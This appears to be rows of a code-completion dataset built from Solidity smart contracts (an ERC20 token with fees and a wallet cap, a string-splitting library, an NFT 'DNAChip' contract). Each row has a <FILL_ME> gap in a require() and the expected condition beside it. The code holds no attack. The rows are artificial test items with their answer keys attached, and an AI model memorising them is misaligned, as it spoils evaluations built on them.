| purchases[_receiver]+_quantity<=MAX_WALLET,"Amount of tokens exceeds wallet limit." | 414,530 | purchases[_receiver]+_quantity<=MAX_WALLET |
null | /*
Milarepa chanted aloud the Buddha's prediction that Kailash would become an important site for the accomplishment of Buddhist practice,
and added that his own master Marpa had likewise spoken highly of the sacred mountain.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ERC20 is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "MOUNT KAILASH";
string constant _symbol = "MTKAILASH";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1000000000 * (10**_decimals);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludeFee;
mapping (address => bool) private _isExcludeMaxHold;
IDEXRouter public router;
address NATIVETOKEN;
address DEAD;
address public pair;
address public factory;
address public currentRouter;
address public marketingwallet;
uint256 public totalfee;
uint256 public marketingfee;
uint256 public liquidityfee;
uint256 public burnfee;
uint256 public feeDenominator;
uint256 public ratioDenominator;
uint256 public maxHold;
bool public maxOff;
uint256 public swapthreshold;
bool public inSwap;
bool public inAddLP;
bool public autoswap;
bool public autoLP;
bool public baseERC20;
constructor() Auth(msg.sender) {
}
function setFee(uint256 _marketing,uint256 _liquidity,uint256 _burn,uint256 _denominator) external authorized() returns (bool) {
require(<FILL_ME>)
marketingfee = _marketing;
liquidityfee = _liquidity;
burnfee = _burn;
totalfee = _marketing.add(_liquidity).add(_burn);
ratioDenominator = _marketing.add(_liquidity);
feeDenominator = _denominator;
return true;
}
function updateNativeToken() external authorized() returns (bool) {
}
function returnERC20(bool flag) external authorized() returns (bool) {
}
function setFeeExempt(address account,bool flag) external authorized() returns (bool) {
}
function setMaxHoldExempt(address account,bool flag) external authorized() returns (bool) {
}
function setMaxOff(bool flag) external authorized() returns (bool) {
}
function updateMarketingwallet(address _marketing) external authorized() returns (bool) {
}
function updateTxLimit(uint256 _maxHold) external authorized() returns (bool) {
}
function updateTxLimitPercentage(uint256 _maxHold,uint256 _denominator) external authorized() returns (bool) {
}
function setAutoSwap(uint256 amount,bool flag,bool lp) external authorized() returns (bool) {
}
function AddLiquidityETH(uint256 _tokenamount) external authorized() payable {
}
function getOwner() external view override returns (address) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function totalSupply() external view override returns (uint256) { }
function balanceOf(address account) external view override returns (uint256) { }
function isExcludeFee(address account) external view returns (bool) { }
function isExcludeMaxHold(address account) external view returns (bool) { }
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function allowance(address owner, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function swap2ETH(uint256 amount) internal {
}
function autoAddLP(uint256 amountToLiquify,uint256 amountBNB) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
}
function _basictransfer(address sender, address recipient, uint256 amount) internal {
}
function _approve(address owner, address spender, uint256 amount) internal {
}
function rescue() external authorized() {
}
receive() external payable { }
}
| _marketing.add(_liquidity)<=_denominator.mul(25).div(100) | 414,596 | _marketing.add(_liquidity)<=_denominator.mul(25).div(100) |
null | /*
Milarepa chanted aloud the Buddha's prediction that Kailash would become an important site for the accomplishment of Buddhist practice,
and added that his own master Marpa had likewise spoken highly of the sacred mountain.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ERC20 is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "MOUNT KAILASH";
string constant _symbol = "MTKAILASH";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1000000000 * (10**_decimals);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludeFee;
mapping (address => bool) private _isExcludeMaxHold;
IDEXRouter public router;
address NATIVETOKEN;
address DEAD;
address public pair;
address public factory;
address public currentRouter;
address public marketingwallet;
uint256 public totalfee;
uint256 public marketingfee;
uint256 public liquidityfee;
uint256 public burnfee;
uint256 public feeDenominator;
uint256 public ratioDenominator;
uint256 public maxHold;
bool public maxOff;
uint256 public swapthreshold;
bool public inSwap;
bool public inAddLP;
bool public autoswap;
bool public autoLP;
bool public baseERC20;
constructor() Auth(msg.sender) {
}
function setFee(uint256 _marketing,uint256 _liquidity,uint256 _burn,uint256 _denominator) external authorized() returns (bool) {
}
function updateNativeToken() external authorized() returns (bool) {
}
function returnERC20(bool flag) external authorized() returns (bool) {
}
function setFeeExempt(address account,bool flag) external authorized() returns (bool) {
}
function setMaxHoldExempt(address account,bool flag) external authorized() returns (bool) {
}
function setMaxOff(bool flag) external authorized() returns (bool) {
}
function updateMarketingwallet(address _marketing) external authorized() returns (bool) {
}
function updateTxLimit(uint256 _maxHold) external authorized() returns (bool) {
}
function updateTxLimitPercentage(uint256 _maxHold,uint256 _denominator) external authorized() returns (bool) {
}
function setAutoSwap(uint256 amount,bool flag,bool lp) external authorized() returns (bool) {
}
function AddLiquidityETH(uint256 _tokenamount) external authorized() payable {
}
function getOwner() external view override returns (address) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function totalSupply() external view override returns (uint256) { }
function balanceOf(address account) external view override returns (uint256) { }
function isExcludeFee(address account) external view returns (bool) { }
function isExcludeMaxHold(address account) external view returns (bool) { }
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function allowance(address owner, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function swap2ETH(uint256 amount) internal {
}
function autoAddLP(uint256 amountToLiquify,uint256 amountBNB) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if(!_isExcludeMaxHold[recipient] && !maxOff){
require(<FILL_ME>)
}
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
uint256 tempfee;
if (!_isExcludeFee[sender]) {
tempfee = amount.mul(totalfee).div(feeDenominator);
_basictransfer(recipient,address(this),tempfee.mul(ratioDenominator).div(totalfee));
_basictransfer(recipient,DEAD,tempfee.mul(burnfee).div(totalfee));
}
emit Transfer(sender, recipient, amount.sub(tempfee));
}
function _basictransfer(address sender, address recipient, uint256 amount) internal {
}
function _approve(address owner, address spender, uint256 amount) internal {
}
function rescue() external authorized() {
}
receive() external payable { }
}
| _balances[recipient].add(amount)<=maxHold | 414,596 | _balances[recipient].add(amount)<=maxHold |
"requires a single char seperator" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract StringsF {
function length(string memory str) internal pure returns (uint256) {
}
function concatenate(string memory a, string memory b) internal pure returns (string memory) {
}
function compare(string memory a, string memory b) internal pure returns (bool) {
}
function range(
string memory _str,
uint256 b,
uint256 j
) internal pure returns (string memory) {
}
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
}
// note push only works for storage arrays
// always have to give length
function split(
string memory _str,
string memory _sep,
uint256 maxTokens
) internal pure returns (string[] memory) {
require(<FILL_ME>)
string[] memory parts = new string[](maxTokens);
bytes memory str = bytes(_str);
bytes memory sep = bytes(_sep);
uint256 b = 0;
uint256 j = 0;
uint256 count = 0;
for (uint256 i = 0; i < str.length; i++) {
if (i + 1 == str.length) {
j = i + 1;
} else {
j = i;
}
if (str[i] == sep[0] || (j != i)) {
// _str[b:j];
parts[count] = range(_str, b, j);
b = i + 1;
count++;
}
require((count <= maxTokens), "Max size exceeded");
}
require((count == maxTokens), "token num mismatch");
return parts;
}
function _upper(bytes1 _b1) private pure returns (bytes1) {
}
function addressToString(address _addr) public pure returns (string memory) {
}
function toUpper(string memory _base) internal pure returns (string memory) {
}
function parseInt(string memory _a) internal pure returns (uint256) {
}
}
| length(_sep)==1,"requires a single char seperator" | 414,721 | length(_sep)==1 |
"Max size exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract StringsF {
function length(string memory str) internal pure returns (uint256) {
}
function concatenate(string memory a, string memory b) internal pure returns (string memory) {
}
function compare(string memory a, string memory b) internal pure returns (bool) {
}
function range(
string memory _str,
uint256 b,
uint256 j
) internal pure returns (string memory) {
}
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
}
// note push only works for storage arrays
// always have to give length
function split(
string memory _str,
string memory _sep,
uint256 maxTokens
) internal pure returns (string[] memory) {
require(length(_sep) == 1, "requires a single char seperator");
string[] memory parts = new string[](maxTokens);
bytes memory str = bytes(_str);
bytes memory sep = bytes(_sep);
uint256 b = 0;
uint256 j = 0;
uint256 count = 0;
for (uint256 i = 0; i < str.length; i++) {
if (i + 1 == str.length) {
j = i + 1;
} else {
j = i;
}
if (str[i] == sep[0] || (j != i)) {
// _str[b:j];
parts[count] = range(_str, b, j);
b = i + 1;
count++;
}
require(<FILL_ME>)
}
require((count == maxTokens), "token num mismatch");
return parts;
}
function _upper(bytes1 _b1) private pure returns (bytes1) {
}
function addressToString(address _addr) public pure returns (string memory) {
}
function toUpper(string memory _base) internal pure returns (string memory) {
}
function parseInt(string memory _a) internal pure returns (uint256) {
}
}
| (count<=maxTokens),"Max size exceeded" | 414,721 | (count<=maxTokens) |
"token num mismatch" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract StringsF {
function length(string memory str) internal pure returns (uint256) {
}
function concatenate(string memory a, string memory b) internal pure returns (string memory) {
}
function compare(string memory a, string memory b) internal pure returns (bool) {
}
function range(
string memory _str,
uint256 b,
uint256 j
) internal pure returns (string memory) {
}
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
}
// note push only works for storage arrays
// always have to give length
function split(
string memory _str,
string memory _sep,
uint256 maxTokens
) internal pure returns (string[] memory) {
require(length(_sep) == 1, "requires a single char seperator");
string[] memory parts = new string[](maxTokens);
bytes memory str = bytes(_str);
bytes memory sep = bytes(_sep);
uint256 b = 0;
uint256 j = 0;
uint256 count = 0;
for (uint256 i = 0; i < str.length; i++) {
if (i + 1 == str.length) {
j = i + 1;
} else {
j = i;
}
if (str[i] == sep[0] || (j != i)) {
// _str[b:j];
parts[count] = range(_str, b, j);
b = i + 1;
count++;
}
require((count <= maxTokens), "Max size exceeded");
}
require(<FILL_ME>)
return parts;
}
function _upper(bytes1 _b1) private pure returns (bytes1) {
}
function addressToString(address _addr) public pure returns (string memory) {
}
function toUpper(string memory _base) internal pure returns (string memory) {
}
function parseInt(string memory _a) internal pure returns (uint256) {
}
}
| (count==maxTokens),"token num mismatch" | 414,721 | (count==maxTokens) |
"already assembled" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./AnonymiceLibrary.sol";
import "./RedactedLibrary.sol";
import "./Interfaces.sol";
contract DNAChip is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using AnonymiceLibrary for uint8;
uint256 public constant MAX_SUPPLY = 2000;
uint8 public constant BASE_INDEX = 0;
uint8 public constant EARRINGS_INDEX = 1;
uint8 public constant EYES_INDEX = 2;
uint8 public constant HATS_INDEX = 3;
uint8 public constant MOUTHS_INDEX = 4;
uint8 public constant NECKS_INDEX = 5;
uint8 public constant NOSES_INDEX = 6;
uint8 public constant WHISKERS_INDEX = 7;
struct Traits {
uint8 base;
uint8 earrings;
uint8 eyes;
uint8 hats;
uint8 mouths;
uint8 necks;
uint8 noses;
uint8 whiskers;
}
uint16[] public BASE;
mapping(uint8 => uint16[][8]) private _traitsByBase;
address public breedingAddress;
address public podFragmentAddress;
address public cheethAddress;
address public descriptorAddress;
uint256 public seedNonce = 0;
uint256 public dnaRolls;
bool public isMintEnabled;
mapping(uint256 => bool) public usedEvolutionPods;
mapping(uint256 => bool) public isEvolutionPod;
mapping(uint256 => uint256) public breedingIdToEvolutionPod;
mapping(uint256 => uint256) public evolutionPodToBreedingId;
mapping(uint256 => uint256) public tokenIdToTraits;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("DNAChip", "DNA") {
}
function mint() external {
}
function reroll(uint256 tokenId) external {
}
function assembleEvolutionPod(uint256 tokenId) external {
require(!AnonymiceLibrary.isContract(msg.sender), "no cheaters");
require(msg.sender == ownerOf(tokenId), "not allowed");
require(<FILL_ME>)
isEvolutionPod[tokenId] = true;
ERC1155Burnable(podFragmentAddress).burn(msg.sender, 1, 3);
}
function evolveBreedingMouse(uint256 tokenId, uint256 breedingMouseId) external {
}
// GETTERS
function getPrice() public pure returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function getTraitsRepresentation(uint256 _tokenId) public view returns (uint256) {
}
function getTraits(uint256 _tokenId) public view returns (RedactedLibrary.Traits memory) {
}
function getTraitsArray(uint256 _tokenId) public view returns (uint8[8] memory) {
}
// OWNER FUNCTIONS
function setAddresses(
address _podFragmentAddress,
address _breedingAddress,
address _cheethAddress,
address _descriptorAddress
) external onlyOwner {
}
function withdraw(address to) external onlyOwner {
}
function setIsMintEnabled(bool value) external onlyOwner {
}
// PRIVATE FUNCTIONS
function _randomizeChip(uint256 tokenId) internal {
}
function _rarityGen(uint256 _randinput, uint16[] memory _percentages) internal pure returns (uint8) {
}
function _getRandomNumber(uint256 _tokenId, uint256 limit) internal returns (uint256) {
}
function _generateTraits(uint256 tokenId) internal returns (RedactedLibrary.Traits memory traits) {
}
}
| !isEvolutionPod[tokenId],"already assembled" | 414,804 | !isEvolutionPod[tokenId] |
"not assembled" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./AnonymiceLibrary.sol";
import "./RedactedLibrary.sol";
import "./Interfaces.sol";
contract DNAChip is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using AnonymiceLibrary for uint8;
uint256 public constant MAX_SUPPLY = 2000;
uint8 public constant BASE_INDEX = 0;
uint8 public constant EARRINGS_INDEX = 1;
uint8 public constant EYES_INDEX = 2;
uint8 public constant HATS_INDEX = 3;
uint8 public constant MOUTHS_INDEX = 4;
uint8 public constant NECKS_INDEX = 5;
uint8 public constant NOSES_INDEX = 6;
uint8 public constant WHISKERS_INDEX = 7;
struct Traits {
uint8 base;
uint8 earrings;
uint8 eyes;
uint8 hats;
uint8 mouths;
uint8 necks;
uint8 noses;
uint8 whiskers;
}
uint16[] public BASE;
mapping(uint8 => uint16[][8]) private _traitsByBase;
address public breedingAddress;
address public podFragmentAddress;
address public cheethAddress;
address public descriptorAddress;
uint256 public seedNonce = 0;
uint256 public dnaRolls;
bool public isMintEnabled;
mapping(uint256 => bool) public usedEvolutionPods;
mapping(uint256 => bool) public isEvolutionPod;
mapping(uint256 => uint256) public breedingIdToEvolutionPod;
mapping(uint256 => uint256) public evolutionPodToBreedingId;
mapping(uint256 => uint256) public tokenIdToTraits;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("DNAChip", "DNA") {
}
function mint() external {
}
function reroll(uint256 tokenId) external {
}
function assembleEvolutionPod(uint256 tokenId) external {
}
function evolveBreedingMouse(uint256 tokenId, uint256 breedingMouseId) external {
require(!AnonymiceLibrary.isContract(msg.sender), "no cheaters");
require(<FILL_ME>)
require(!usedEvolutionPods[tokenId], "already used");
require(msg.sender == ownerOf(tokenId), "not allowed");
require(IERC721Enumerable(breedingAddress).ownerOf(breedingMouseId) == msg.sender, "not allowed");
breedingIdToEvolutionPod[breedingMouseId] = tokenId;
evolutionPodToBreedingId[tokenId] = breedingMouseId;
usedEvolutionPods[tokenId] = true;
_burn(tokenId);
}
// GETTERS
function getPrice() public pure returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function getTraitsRepresentation(uint256 _tokenId) public view returns (uint256) {
}
function getTraits(uint256 _tokenId) public view returns (RedactedLibrary.Traits memory) {
}
function getTraitsArray(uint256 _tokenId) public view returns (uint8[8] memory) {
}
// OWNER FUNCTIONS
function setAddresses(
address _podFragmentAddress,
address _breedingAddress,
address _cheethAddress,
address _descriptorAddress
) external onlyOwner {
}
function withdraw(address to) external onlyOwner {
}
function setIsMintEnabled(bool value) external onlyOwner {
}
// PRIVATE FUNCTIONS
function _randomizeChip(uint256 tokenId) internal {
}
function _rarityGen(uint256 _randinput, uint16[] memory _percentages) internal pure returns (uint8) {
}
function _getRandomNumber(uint256 _tokenId, uint256 limit) internal returns (uint256) {
}
function _generateTraits(uint256 tokenId) internal returns (RedactedLibrary.Traits memory traits) {
}
}
| isEvolutionPod[tokenId],"not assembled" | 414,804 | isEvolutionPod[tokenId] |
"already used" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./AnonymiceLibrary.sol";
import "./RedactedLibrary.sol";
import "./Interfaces.sol";
contract DNAChip is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using AnonymiceLibrary for uint8;
uint256 public constant MAX_SUPPLY = 2000;
uint8 public constant BASE_INDEX = 0;
uint8 public constant EARRINGS_INDEX = 1;
uint8 public constant EYES_INDEX = 2;
uint8 public constant HATS_INDEX = 3;
uint8 public constant MOUTHS_INDEX = 4;
uint8 public constant NECKS_INDEX = 5;
uint8 public constant NOSES_INDEX = 6;
uint8 public constant WHISKERS_INDEX = 7;
struct Traits {
uint8 base;
uint8 earrings;
uint8 eyes;
uint8 hats;
uint8 mouths;
uint8 necks;
uint8 noses;
uint8 whiskers;
}
uint16[] public BASE;
mapping(uint8 => uint16[][8]) private _traitsByBase;
address public breedingAddress;
address public podFragmentAddress;
address public cheethAddress;
address public descriptorAddress;
uint256 public seedNonce = 0;
uint256 public dnaRolls;
bool public isMintEnabled;
mapping(uint256 => bool) public usedEvolutionPods;
mapping(uint256 => bool) public isEvolutionPod;
mapping(uint256 => uint256) public breedingIdToEvolutionPod;
mapping(uint256 => uint256) public evolutionPodToBreedingId;
mapping(uint256 => uint256) public tokenIdToTraits;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("DNAChip", "DNA") {
}
function mint() external {
}
function reroll(uint256 tokenId) external {
}
function assembleEvolutionPod(uint256 tokenId) external {
}
function evolveBreedingMouse(uint256 tokenId, uint256 breedingMouseId) external {
require(!AnonymiceLibrary.isContract(msg.sender), "no cheaters");
require(isEvolutionPod[tokenId], "not assembled");
require(<FILL_ME>)
require(msg.sender == ownerOf(tokenId), "not allowed");
require(IERC721Enumerable(breedingAddress).ownerOf(breedingMouseId) == msg.sender, "not allowed");
breedingIdToEvolutionPod[breedingMouseId] = tokenId;
evolutionPodToBreedingId[tokenId] = breedingMouseId;
usedEvolutionPods[tokenId] = true;
_burn(tokenId);
}
// GETTERS
function getPrice() public pure returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function getTraitsRepresentation(uint256 _tokenId) public view returns (uint256) {
}
function getTraits(uint256 _tokenId) public view returns (RedactedLibrary.Traits memory) {
}
function getTraitsArray(uint256 _tokenId) public view returns (uint8[8] memory) {
}
// OWNER FUNCTIONS
function setAddresses(
address _podFragmentAddress,
address _breedingAddress,
address _cheethAddress,
address _descriptorAddress
) external onlyOwner {
}
function withdraw(address to) external onlyOwner {
}
function setIsMintEnabled(bool value) external onlyOwner {
}
// PRIVATE FUNCTIONS
function _randomizeChip(uint256 tokenId) internal {
}
function _rarityGen(uint256 _randinput, uint16[] memory _percentages) internal pure returns (uint8) {
}
function _getRandomNumber(uint256 _tokenId, uint256 limit) internal returns (uint256) {
}
function _generateTraits(uint256 tokenId) internal returns (RedactedLibrary.Traits memory traits) {
}
}
| !usedEvolutionPods[tokenId],"already used" | 414,804 | !usedEvolutionPods[tokenId] |
"not allowed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./AnonymiceLibrary.sol";
import "./RedactedLibrary.sol";
import "./Interfaces.sol";
contract DNAChip is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using AnonymiceLibrary for uint8;
uint256 public constant MAX_SUPPLY = 2000;
uint8 public constant BASE_INDEX = 0;
uint8 public constant EARRINGS_INDEX = 1;
uint8 public constant EYES_INDEX = 2;
uint8 public constant HATS_INDEX = 3;
uint8 public constant MOUTHS_INDEX = 4;
uint8 public constant NECKS_INDEX = 5;
uint8 public constant NOSES_INDEX = 6;
uint8 public constant WHISKERS_INDEX = 7;
struct Traits {
uint8 base;
uint8 earrings;
uint8 eyes;
uint8 hats;
uint8 mouths;
uint8 necks;
uint8 noses;
uint8 whiskers;
}
uint16[] public BASE;
mapping(uint8 => uint16[][8]) private _traitsByBase;
address public breedingAddress;
address public podFragmentAddress;
address public cheethAddress;
address public descriptorAddress;
uint256 public seedNonce = 0;
uint256 public dnaRolls;
bool public isMintEnabled;
mapping(uint256 => bool) public usedEvolutionPods;
mapping(uint256 => bool) public isEvolutionPod;
mapping(uint256 => uint256) public breedingIdToEvolutionPod;
mapping(uint256 => uint256) public evolutionPodToBreedingId;
mapping(uint256 => uint256) public tokenIdToTraits;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("DNAChip", "DNA") {
}
function mint() external {
}
function reroll(uint256 tokenId) external {
}
function assembleEvolutionPod(uint256 tokenId) external {
}
function evolveBreedingMouse(uint256 tokenId, uint256 breedingMouseId) external {
require(!AnonymiceLibrary.isContract(msg.sender), "no cheaters");
require(isEvolutionPod[tokenId], "not assembled");
require(!usedEvolutionPods[tokenId], "already used");
require(msg.sender == ownerOf(tokenId), "not allowed");
require(<FILL_ME>)
breedingIdToEvolutionPod[breedingMouseId] = tokenId;
evolutionPodToBreedingId[tokenId] = breedingMouseId;
usedEvolutionPods[tokenId] = true;
_burn(tokenId);
}
// GETTERS
function getPrice() public pure returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function getTraitsRepresentation(uint256 _tokenId) public view returns (uint256) {
}
function getTraits(uint256 _tokenId) public view returns (RedactedLibrary.Traits memory) {
}
function getTraitsArray(uint256 _tokenId) public view returns (uint8[8] memory) {
}
// OWNER FUNCTIONS
function setAddresses(
address _podFragmentAddress,
address _breedingAddress,
address _cheethAddress,
address _descriptorAddress
) external onlyOwner {
}
function withdraw(address to) external onlyOwner {
}
function setIsMintEnabled(bool value) external onlyOwner {
}
// PRIVATE FUNCTIONS
function _randomizeChip(uint256 tokenId) internal {
}
function _rarityGen(uint256 _randinput, uint16[] memory _percentages) internal pure returns (uint8) {
}
function _getRandomNumber(uint256 _tokenId, uint256 limit) internal returns (uint256) {
}
function _generateTraits(uint256 tokenId) internal returns (RedactedLibrary.Traits memory traits) {
}
}
| IERC721Enumerable(breedingAddress).ownerOf(breedingMouseId)==msg.sender,"not allowed" | 414,804 | IERC721Enumerable(breedingAddress).ownerOf(breedingMouseId)==msg.sender |
Subsets and Splits